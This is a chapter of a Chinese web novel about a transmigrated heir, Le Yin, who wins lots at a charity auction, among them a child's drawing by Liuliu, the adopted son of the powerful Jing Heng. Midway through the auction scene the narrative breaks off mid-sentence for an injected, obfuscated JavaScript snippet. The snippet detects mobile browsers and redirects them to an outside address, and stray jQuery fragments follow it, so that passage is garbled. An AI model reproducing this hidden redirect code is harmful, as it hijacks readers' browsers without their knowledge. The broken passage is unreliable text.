20.【第020章】

作品:《漂亮替身玩转豪门修罗场

    乐隐回到座位时,羞恼出逃的孟桓还没有回来。


    孟清然关心他,“好点了吗?”


    乐隐重新拿起了竞标牌,微微颔首,“没事,在外面安静待了一会儿,好多了。”


    台上的拍卖师依旧激情高涨地介绍着最新拍品,但乐隐对于珠宝饰品的兴致一般,就没有多加关注。


    他靠在柔软的椅背上,脑海中却浮动着刚才那道一闪而过的身影。


    那人到底是谁?


    他怎么就觉得这么熟悉呢?


    乐隐的思绪渐渐发沉,甚至不由自主地偏过视线,投向了拍卖大厅的右上方。


    那是第三楼夹层的位置,暗茶色的单向玻璃完美隔绝了室内的情况,从二楼的外侧窥探,只能瞧见一团模糊且杂乱的灯影反光。


    但说不上为什么,乐隐的内心深处涌上一种莫名的直觉——


    有人在盯着他们这个方向?或者说,有人正在看他!


    伴随着这个念头,乐隐心尖骤然凝上一丝本能的警惕,他下意识地攥紧了手中的竞标牌,巴不得将那扇阻挡了真相的玻璃给看穿。


    只可惜,他虽然神奇地穿了书,但并没有拥有超能力。


    孟清然察觉了他游走的视线,“在看什么?”


    乐隐借着竞标牌掩盖自己的嘴型,“清然,那三楼是VIP室?你知道里面大概坐着什么身份的人物吗?”


    孟清然瞥了一眼什么都看不清的三层落地窗,只是猜测,“要么是有关部门的政府领导?要么是策划这次慈善活动的帝京商会主席吧?”


    乐隐不自觉地捕捉了后半句的关键词,“帝京商会主席?”


    孟清然压低声音,“嗯,景珩,你不知道景先生吗?”


    “……”


    乐隐诚实地摇了摇头。


    说实话,他对于这个世界的人物认知均基于原书,除此之外,知之甚少。


    景珩?这名字听着就不像是路人甲。


    难道是书中后期会出场的大人物?只是因为他中途弃文了才不知道?


    孟清然看着乐隐疑惑的眼神,很主动地替他想好了理由,“你才回乐家没多久,不了解帝京的各大圈层也正常,等到待会儿散场,我再单独找地方和你说?”


    拍卖大厅属实有点吵闹,而且人多眼杂,免得让旁人听见生出不必要的麻烦。


    “好。”


    乐隐应允。


    没一会儿,又一件崭新的拍品被送了上来。


    拍卖师接过工作人员临时打印出来的物品介绍,很有职业素养地开始介绍起来,“各位嘉宾,接下来的拍卖品是一枚老式怀表,它采用纯手工的……”


    乐隐听见这话,不由看向了显示屏。


    这是临时增加的?拍卖介绍册上好像没有。


    但在看清这枚圆形怀表后,他的眼底涌出了一丝意料之外的兴趣。


    乐隐的亲生母亲在去世前,也给他留下了一块类似的手工翻盖怀表,那块表一面是精准的时针走盘,一面还嵌着母子两人的小小合照。


    坎坷成长的这些年,乐隐将那块怀表视为自己唯一的念想。


    可惜一朝穿书,那块怀表没能跟着一块带过来。


    就在乐隐短暂陷入回忆时,这一轮的拍卖已经开始了。


    或许是豪门圈层的宾客们都习惯佩戴名表出门,大家都对于这样老掉牙的“古董”不感兴趣,所以这一轮的拍卖并不激烈,价格卡在了“十万”就已经偃旗息鼓了。


    乐隐慢悠悠地举起了竞标牌,将剩下的爱心额度全部推了出去,“三十万。”


    三十万?


    全场的视线再次集中了过来。


    乐隐出完价格,也不着急确认,就这么安静地把玩着手中的竞标牌。


    直到拍卖师的槌声响起,现场的追灯才落在他这张漂亮的脸上,平添了一种说不上来的矜贵。


    “那位就是乐家的小少爷吧?今晚的两次出价都是一锤定音、胜券在握,这姿态还真不一般!”


    “就是啊!完全看不出来他小时候走丢过的?看着年轻轻轻,这气质可比我家那浑小子出众太多了!”


    “你也不想想,乐家当权的徐老夫人是个什么厉害人物?她的小孙子能差到哪里去?”


    “……”


    乐隐无所谓周围的视线打量。


    他又一次接过了工作人员手中的拍卖捐赠合同,轻车熟路地在签上自己的名字。


    台上的拍卖师在再度传来庆祝声,“好的,让我们恭喜05号的乐先生拿下这件拍品!”


    与此同时,三楼的众人也得知了这一拍卖结果。


    “三十万。”


    景珩看向边上的霍绪,推了一下眼镜,“这算是你口中的有缘人吗?”


    霍绪依旧站在落地窗前,望向乐隐的目光不经意地软了一秒。


    但转瞬间,他就收起了嘴角那点微妙的弧度,没有正面回答景珩的问题,“看得差不多了,我得去机场了。”


    景珩没有留他,只问,“这次要去琼州待多久?”


    霍绪报出一个大概的日期,“一个月?”


    景珩蹙眉,“这么久?”


    “琼州岛即将开发的西岸群岛是块大肥肉,想要分一杯羹的人太多了。”霍绪说明缘由,气定神闲地整了一下袖口,“我听说家里有些人不太安分,正好有时间,亲自去看看。”


    景珩颔首,“有需要联系我。”


    比起相互制衡、敌对,处在金字塔顶端的霍、景、庄三家一直以来就是盟友。


    “嗯。”


    霍绪也不推脱,“走了。”


    景珩目送着对方离去,这才继续将注意力挪回了楼下大厅。


    …


    拍卖会终于进行到了最后。


    宾客们坐了两个多小时,早已经兴致缺缺。


    直到工作人员将压台登场的拍卖品拿了上来,死气沉沉的拍卖大厅里这才涌起一点儿诧异的讨论。


    “这算什么拍卖品?册子上又没有。”


    “就是啊,和刚才那些简直就不是一个等级的。”


    “主办方在搞什么呢?哪怕是摆在明面上的爱心捐赠,也总得拿点像样的玩意儿上来吧!”


    “……”


    乐隐望着台上那副色彩鲜艳的儿童简笔画,眼底也闪过一丝意外。


    画风很稚嫩,涂色杂糅。


    一看就是出自小朋友的手笔。


    画面上的内容是一堆正在玩乐的天真孩子,在她们的身后还有一栋小小的、简单的房子。


    直到主持人的介绍声传来,“各位宾客,这是今天最后一件拍品,这件拍品是一位六岁小朋友绘制的、有关于福利院的集体生活。”


    “诚如大家所想,这件作品诞生的初衷,仅是因为画作小朋友的一点儿慈善爱心。”


    “起拍价是0元。”


    很显然,最后这件拍品并不在于竞价,而是在于心意。


    但对于驰骋商场、纵情名利的老油条们来说,这种说辞早已经变得没有新意,应和的人寥寥无几。


    毕竟,这画是完全不值钱的。


    哪怕是看在“心意”两字上,出价高了不值得,出低了又显得小家子气。


    就在众人纷纷陷入沉默的时候,乐隐却果断地举了牌,给出了一个意料之外又在情理之中的报价,“520。”


    他微微一笑,从容补上一句,“就当给小朋友们买点薯片饮料吧。”


    这富有童心的一句话,立刻引起了众人的笑声,也完美解决了大家不敢出价的尴尬。


    坐在前排的陈老董事长看准时机,出声提议,“这轮要不就别竞拍了?我看大家


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332144|198400||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    都跟着乐小先生出个520块?聚少成多,就当给小朋友们的一点儿奖励。”


    众人纷纷应和。


    区区这点钱,自然都出得起。


    最后一轮的竞拍完美解决,作为第一个、也是唯一一个出价的人,乐隐理所当然地得到了这幅童趣的画作。


    三楼VIP室的六六趴在落地窗前,瞪大眼睛兴奋地看着这一幕,“哇!是小五哥哥!是小五哥哥拿到了我的画!”


    “小五哥哥?”


    景珩第一次从自家宝贝的口中听见这个陌生称谓,立刻蹙眉,“六六,你认识他?”


    “啊?”


    六六这才意识到自己说漏了嘴,顿时站得笔直,有些紧张地捏了捏衣角。


    景珩蹲下身子,和他平视交流,“告诉爸爸,你什么时候认识了那个‘小五哥哥’?”


    因为孩子年纪还小,加上景氏背景又特殊,景珩带他出现在公共场合的次数并不多,免得别有用心的人利用小家伙和景氏牵扯上关系。


    六六不擅长撒谎,只好支支吾吾地说出实情,“我刚上完厕所就跑到一楼去玩了,才遇上小五哥哥。”


    景珩看似温润的眸光掠过一丝警惕,严肃追问,“你有和他说过自己的真名吗?”


    六六乖巧摇头,“没有,你和我说过,在外不能随便透露自己的姓名。”


    景珩欣慰哄道,“乖宝宝,以后不能瞒着我乱跑,就算想出去玩,也得和保镖说一声。”


    “爸爸,可我觉得小五哥哥不是坏人。”


    六六低声嘟囔,试图力争,“他请我吃妙脆角了,所以我和他现在是好朋友了,而且小五哥哥还买走了我的画画,他很有爱心,对不对?”


    景珩一时想不出反驳的话,只说,“但你不能在外乱吃零食,特别是陌生人的零食。”


    六六哼唧,旋即黏着他问,“爸爸,我靠画画‘赚’到的钱,是不是可以送给院长阿姨和其他小朋友了?”


    自从知道这场拍卖会是给福利院筹集善款后,六六就总想着做点什么,于是他亲手画了一幅有关于“福利院”的儿童画,满脸期待地交到了景珩的手里。


    景珩不忍心让宝贝儿子失望,于是将对方的画作安排在了拍卖会的最后。


    哪怕刚刚没有宾客愿意去拍,他也已经暗中安排了人手,会以一个合适的价格将那幅画作拍下。


    景珩想起乐隐的出价,眼底深处的警惕松动,“当然,等过段时间,爸爸就带你回去看看院长阿姨,好吗?”


    六六瞬间兴奋起来,“好!”


    其实在四岁之前,六六原本是无父无母的孤儿,一直生活在福利院。


    直到景珩出面领养,并且力排众议将他养在了自己的名下,当成了亲儿子对待。


    景珩从来没有刻意隐瞒六六的身世。


    六六也比一般的小孩子更早慧、更懂事,他一直都知道自己是被爸爸领养的小孩。


    叩叩。


    敲门声响起。


    景珩的两位助理走了进来,“先生,拍卖会结束,晚宴马上就要开始了。”


    “知道了,我马上下去。”


    景珩抱起六六,将他交给其中一位助理,“不早了,先带小少爷回去。”


    六六一点儿没反抗,“爸爸再见。”


    景珩温柔回应,“等晚上回去再给你讲睡前故事。”


    “好。”


    等到助理之一抱着小家伙离开后,景珩才逐渐收起了眼底的温柔。


    他想起六六刚才说过的话,带着拒人于千里之外的冷淡和谨慎,“仔细查查楼下那个乐隐,看他今天到底和小少爷做了什么、说了什么。”


    助理一点儿不含糊,“是。”


    景珩旋即又想起即将到来的交流晚宴,索性改口,“不必了,我待会儿亲自会会他。”